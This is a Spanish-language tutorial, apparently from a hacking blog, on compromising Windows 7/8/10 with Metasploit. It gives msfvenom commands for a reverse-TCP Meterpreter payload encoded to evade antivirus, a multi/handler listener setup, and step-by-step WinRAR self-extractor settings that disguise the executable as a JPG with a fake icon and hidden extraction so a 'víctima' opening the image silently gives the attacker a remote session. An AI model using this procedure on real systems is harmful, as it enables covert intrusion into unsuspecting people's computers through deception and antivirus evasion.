Metasploit es actualmente la palabra de moda en el campo de la seguridad de la información y las pruebas de penetración. Ha revolucionado totalmente la forma en que podemos realizar pruebas de seguridad en nuestros sistemas. Metasploit está disponible para todos los sistemas operativos populares.
En este tutorial con capturas de pantalla, aprenderás cómo usar el framework Metasploit para explotar Windows 7, 8 o 10 con un archivo de imagen. ¡Sí! esconderemos el exploit en el fondo de una imagen.
La razón que hace que Metasploit sea tan popular es la amplia gama de tareas que puede realizar para facilitar el trabajo de pruebas de penetración y hacer los sistemas más seguros.
1. Crear Payload con Msfvenom
Comencemos con Msfvenom, una suite todo en uno, para crear y codificar una carga útil (payload).
Msfvenom es una herramienta muy útil para generar rápidamente shellcodes utilizando diferentes cargas útiles disponibles en el framework. Estos shellcodes se pueden implementar en el código de explotación para proporcionar una conexión posterior con el atacante una vez que se ha explotado la vulnerabilidad.
Para generar un shellcode para Windows, escribe el siguiente comando en tu terminal:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TU IP> LPORT=4444 -f exe > virus.exe
Para obtener más opciones disponibles, puede escribir “msfvenom -h“. Hay muchos parámetros interesantes para observar. Por ejemplo, el parámetro -b nos da el poder de evitar caracteres comunes de un exploit, como \x00. Esto puede ser realmente útil para evadir programas antivirus.
Para usar msfvenom con codificación, tienes que pasar una carga útil junto con un estilo de encoding como se muestra a continuación:
Crearé un nuevo .exe encriptado por shikata_ga_nai y que evitará usar el caracter x00.
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=<TU IP> LPORT=4444 -f exe > virus_geek.exe
Ahora que nuestro ejecutable está listo, tendremos que configurar un oyente en nuestra msfconsole para escuchar una conexión remota cuando el destino (víctima) ejecute este archivo.
2. Iniciar Metasploit Framework
- Para iniciar Metasploit Framework, escribe lo siguiente en tu terminal:
msfconsole
- Y ejecuta el siguiente comando para iniciar el proceso multi/handler:
use exploit/multi/handler
- El siguiente paso es definir la carga útil con la ayuda del comando set payload.
Meterpreter es una carga útil avanzada que mejora en gran medida la potencia de la ejecución de comandos en la máquina de destino. Es un intérprete de comandos que funciona mediante inyección DLL en memoria y nos proporciona muchas ventajas sobre los intérpretes de comandos tradicionales, ya que es más flexible, estable y extensible.
Primero usamos el módulo multi/handler en el primer paso y ahora, configuramos nuestra carga útil para que sea un shell inverso de Windows y se adapte con el comportamiento del ejecutable que creamos anteriormente con msfvenom. Le decimos el LHOST y el LPORT para que lo escuchen, y estamos listos para empezar.
Por lo tanto, debe escribir una serie de opciones como se muestra a continuación:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <TU IP>
set LPORT 4444
Nuevamente, recuerde cambiar LHOST por tu dirección IP local, y cambia LPORT si utilizaste algo diferente a 4444 .
Ahora bien, si envía este virus_geek.exe (que creamos en el primer paso) directamente, nadie hará clic o lo ejecutará debido a su comportamiento y nombre, pero si vinculamos este archivo ejecutable con una imagen (JPG), entonces las posibilidades aumentan…
3. Preparar explotación en una imagen
Ahora vamos a hacer que nuestro ejecutable se vea como una imagen, ya que actualmente el icono predeterminado se ve muy desagradable. Así que continúe con los siguientes pasos:
- Descarga una imagen JPG en línea y guárdala en el mismo directorio donde guardaste tu carga útil ejecutable.
- Además, también necesita un icono de miniatura para que la carga útil final pueda generar más confianza con el usuario. Vamos a convertir un JPG en ICO, vaya a esta página para generar un archivo .ico en menos de 20 segundos.
- Entonces, ya tenemos todos los archivos (.ico, .jpg y .exe) como se muestra a continuación:
- En el siguiente paso, debes crear un archivo de ambos archivos. Esto es, según el ejemplo anterior, seleccionar kaley-cuoco.jpg y virus_geek.exe, y añadirlo a un archivo RAR.
- Después de eso, simplemente configure todas las cosas como se menciona en la siguiente captura de pantalla:
Nombre del archivo: (poner cualquier nombre)
Formato del archivo: RAR
Método de compresión: La mejor
Tamaño del diccionario: 256 KB
Opciones de compresión: [check] Crear un archivo autoextraíble
- Luego haga clic en la pestaña Avanzado. Ahí haz clic en la opción Autoextraíble, lo cual abrirá un nuevo cuadro de diálogo donde necesita configurar algunas opciones como:
Carpeta de extracción: D:
En este campo, no coloque C:\ porque cuando hace clic en la imagen final se le pedirá que ejecute con permisos administrativos y tu objetivo sabrá fácilmente que es un virus. Entonces, siempre use D:\ o E:\.
- Ahora, vaya a la pestaña Instalación donde necesitas agregar dos líneas de código en donde la primera línea será el nombre de tu imagen (JPG para el ejemplo) y la segunda línea contiene el nombre de tu carga útil, que en mi caso es virus_geek.exe.
- También debe configurar el icono como una miniatura en la opción “Cargar icono desde fichero” para que el archivo se vea como un archivo de imagen adecuado.
- Y también necesita cambiar la opción de Mostrar a Ocultar todo en la pestaña de Modos, como se muestra a continuación:
- Por último lugar, en la pestaña Actualizar haga clic en “Sobrescribir todos los ficheros” para que cada vez que el usuario abre esa imagen, los archivos que se extraen se reemplacen de inmediato en el mismo directorio que configuramos en el paso anterior.
¡El trabajo está hecho, sólo es cuestión que el usuario (víctima) abra la imagen!
4. Hacking Windows 7
Cuando alguien hace clic en la imagen, esta se abrirá en el editor de fotos predeterminado y, al mismo tiempo, el archivo EXE o el virus se ejecutará en el ‘back-end’.
De vuelta en nuestra máquina atacante, es decir, Kali Linux, la sesión de Meterpreter se establece con éxito, y ahora tenemos acceso a la máquina objetivo (Windows 7) como se muestra a continuación.
Escriba sysinfo para obtener más información sobre el sistema operativo y la arquitectura.
También puede ejecutar más comandos útiles como pwd (Actual directorio de trabajo), getpid (ID del proceso actual) y screenshot (Captura de pantalla de la ventana activa), etc.
También puedes comenzar usando un simple comando ? que enumerará todos los comandos Meterpreter disponibles, junto con una breve descripción. ¡Si te ha gustado el artículo, no olvides compartirlo con los demás! :’)